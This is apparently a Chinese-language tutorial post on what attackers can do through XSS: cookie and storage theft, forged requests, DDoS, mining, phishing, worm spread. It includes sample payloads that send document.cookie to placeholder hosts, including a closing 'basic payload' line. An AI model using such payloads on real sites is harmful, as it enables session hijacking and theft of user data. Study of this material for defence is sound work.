web基础漏洞-xss危害
xss的危害,可以从两方面理解。
一是xss是由脚本执行造成的,但是js脚本相对java等其他编程语言,其功能是受限的,比如无法在浏览器中读写本地文件。
二是对于xss注入点而言,一般并不意味着可以执行任意js代码,而是会受到敏感字符过滤、字符长度限制、防火墙等干扰,从而只能构造有限的js脚本。
具体而言,xss可以被用于执行以下的一些危害。
1、 获取用户敏感信息转发给攻击者
(1)获取用户信息一般要求在用户登录后进行。典型的就是转发登录凭证cookie
<img src=1 onerror='http://xxx/?cookies='+documnet.cookie>
new Image().src=".png?id=" + document.cookie
需要注意get请求的长度有限
(2)脚本读取信息
- cookie数据
- httponly标志无法脚本获取,secure标志无法通过http传输
- cookie中不一定包含登录凭证cookie,还有token机制
- 除了凭证cookie,cookie中还可能保存浏览记录、搜索记录、用户名等相关信息
- 本地存储和会话存储数据
- 地址栏数据, 包括路径参数、直接参数和hash部分
- 有时候用户名和密码会通过url传递
- 获取搜索关键词也是一种利用
- 前后js变量
- html元素的属性和文本
- ajax获取
(3)转发信息
- 通过直接的html元素或者js模拟,发出get请求。包括img.src,link.href,script.src,iframe.src等
- form表单的直接html元素或js模拟,可以get或post请求
- ajax
- 不直接转发给攻击者,而是输出到站内的某公开位置,比如评论区。也可以尝试输出到第三方站点的公开位置
2、设置数据或伪造业务请求
利用脚本模拟用户操作,且是站内非跨域环境。理论上,如果没有长度等特别限制,可以提交所有用户可以提交的请求
比如账号注销、修改密码、文章的增删改查等操作
document.cookie="a=123"
3、作为肉鸡
攻击者利用受害者客户端,可以向任意网络上任意主机,发起攻击,并可以返回测试结果。典型的是ddos攻击。
为了持续控制,一般是使受害者浏览器基于ajax对外攻击,以及与攻击者联系。
4、消耗用户的计算资源
利用受害者用户的挖矿活动,当然也可能是直接恶意使得用户的浏览器卡顿或者死机
5、钓鱼
可以分为两类情况:
- 在站内篡改信息,比如替换人物照片、修改联系人信息、替换支付二维码图片、修改链接地址、篡改网站发布的消息等,还可以要求填写资料、重新登录
- 跳转到攻击者控制的网站,基于信任链传递而使用户相信跳转后的页面
6、恶意传播信息
在存在xss漏洞的网站内,借用受害者身份,直接发帖、发评论、发文章,或者向站内其他用户,发送和传播恶意信息
信息中还可以包含漏洞,比如xss、csrf等,即进行蠕虫传播
7、和其他漏洞类型结合
比如和csrf、会话固定结合
8、其他
获取用户客户端的信息,比如用户的操作系统、浏览器类型和版本、屏幕信息等。
据网上某些文档所述,攻击者还可以对受害者进行截屏和监听键盘等操作,但是本人未复现成功,似乎是需要特定类型和版本的浏览器,以及特定js库作为环境。
9、常用的一些基础payload
<script>(new%20Image()).src='http://www.test.com/a?cookie='%2bdocument.cookie</script>